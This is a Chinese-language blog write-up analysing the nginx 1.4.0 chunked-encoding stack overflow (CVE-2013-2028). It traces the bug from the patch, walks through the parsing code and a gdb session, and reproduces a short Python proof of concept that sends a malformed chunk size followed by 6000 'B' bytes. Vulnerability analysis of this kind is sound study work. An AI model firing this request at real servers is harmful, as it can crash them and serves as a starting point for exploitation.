從補丁追溯漏洞觸發路徑
背景
操作系統:ubuntu 18.04 64bit
漏洞軟件:nginx-1.4.0
漏洞補丁信息
從補丁可以認識一個漏洞的觸發源。
查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
if (ctx->size < 0 || ctx->length < 0) {goto invalid; }
return rc;
可以看到補丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數返回值中增加了對變量ctx->length和ctx->size的負值判斷

查看ctx變量的結構體定義,
struct ngx_http_chunked_s {ngx_uint_t state;off_t size;off_t length;};
可以看到size和length的類型變量是off_t,而off_t對應了long int,是一個有符號的變量(記住這一點,很重要)。
漏洞觸發路徑分析
從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數,與負值的變量ctx->length和ctx->size有關,現在開始追蹤這兩個變量的后續流向。
2.1 漏洞復現
POC信息
從互聯網可以找到該漏洞的POC如下:
import socket
host = "127.0.0.1"ip='127.0.0.1'
raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, 80))
data1 = rawdata1 += "f000000000000060" + "\r\n"
print data1s.send(data1)
s.send("B" * 6000)s.close()
這個POC會發送兩次TCP請求數據,第一次是一個HTTP請求:
GET / HTTP/1.1Host: 127.0.0.1Transfer-Encoding: chunkedConnection: Keep-Alive f000000000000060
第二次是一個超長的"B"字符串。
chunked HTTP請求
第一個HTTP請求的特殊之處在于這是一個分塊傳輸的請求。在請求體中,在每一個分塊的開頭需要添加當前分塊的長度,以十六進制的形式表示,后面緊跟著 '\r\n' ,之后是分塊本身,后面也是'\r\n'

漏洞復現
在shell中找到nginx工作進程的pid,并使用gdb 掛載調試 ,并在patch函數下斷點。
osboxes@osboxes:~$ ps aux |grep nginxroot 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.confnobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker processosboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginxosboxes@osboxes:~$ sudo gdb -p 7185pwndbg> b ngx_http_parse_chunkedBreakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974.pwndbg> cContinuing.
執行POC,并查看函數調用棧可以看到如下:

那我們就依照源碼來分析漏洞的觸發路徑
1.ngx_http_parse_chunked函數解析HTTP中的塊大小
查看ngx_http_parse_chunked函數,可以看到該函數的主要功能為解析HTTP請求體中的chunk信息。
ngx_int_tngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b, ngx_http_chunked_t *ctx){... state = ctx->state;... rc = NGX_AGAIN;...
switch (state) { ... case sw_chunk_size: if (ch >= '0' && ch <= '9') { ctx->size = ctx->size * 16 + (ch - '0'); break; } c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') { ctx->size = ctx->size * 16 + (c - 'a' + 10); break; } ... }
data: switch (state) {... case sw_chunk_data: ctx->length = ctx->size + 4 /* LF "0" LF LF */; break;... return rc;...}
當遇到HTTP請求體中的塊大小,即f000000000000060時,會將字符串解析為對應的十六進制數字,并保存在ctx->size中。注意,由于是有符號的,ctx的值是為負數的。之后ctx->size的值會賦值到ctx->lenth中,也就是:
ctx->lenth= ctx->size+4 = parseLong('f000000000000060')+4 = -1152921504606846880+4 = -1152921504606846876
之后,函數返回,返回值為rc=NGX_AGIN
2.ngx_http_discard_request_body_filter將值進一步向上傳遞

根據返回值rc == NGX_AGAIN, 這個負值會進一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個off_t類型的,也就是它也是**負數。**也就是
r->headers_in.content_length_n = rb->chunked->length = -1152921504606846876
之后函數返回 ,返回值為NGX_OK。
3.ngx_http_discard_request_body簡單跳轉
在ngx_http_discard_request_body函數中, 控制流返回后進入到另一個子函數中。

4.ngx_http_read_discarded_request_body棧溢出
逃脫ngx_min檢查
在ngx_http_read_discard_request_body函數中本來是有長度范圍檢查ngx_min,但是正如我們前面所說的,長度為負數,所以這個檢查就被繞過了

size 被賦予超大值
在函數中size_t是一個無符號的long int, 這樣size就被意外的賦值為一個超大的數值。也就是
(size_t) size= r->headers_in.content_length_n = 17293822569102704740
recv 將超長的輸入寫入局部變量buffer
在解析size之后,nginx 會嘗試再次讀取輸入,
n = r->connection->recv(r->connection, buffer, size);
此時,系統會嘗試size=17293822569102704740大小的輸入寫入到局部變量buffer中,由此造成了棧溢出。
漏洞數據流
總結整理數據的流動方向如下圖:

總結
這個漏洞的原因在于,帶符號整數在轉為無符號數時會變為極大的值,從而導致nginx從socket中讀取了超長的值到局部變量中。
漏洞的觸發條件為三個:
條件作用HTTP 請求頭中 Transfer-Encoding: chunked確保進入ngx_http_parse_chunked函數,讀取精心設置的長度塊長度為負數確保逃過ngx_min的檢查第二次請求超長確保數據被讀入并造成棧溢出(ps: 這也是利用構造的地方) 參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)
https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html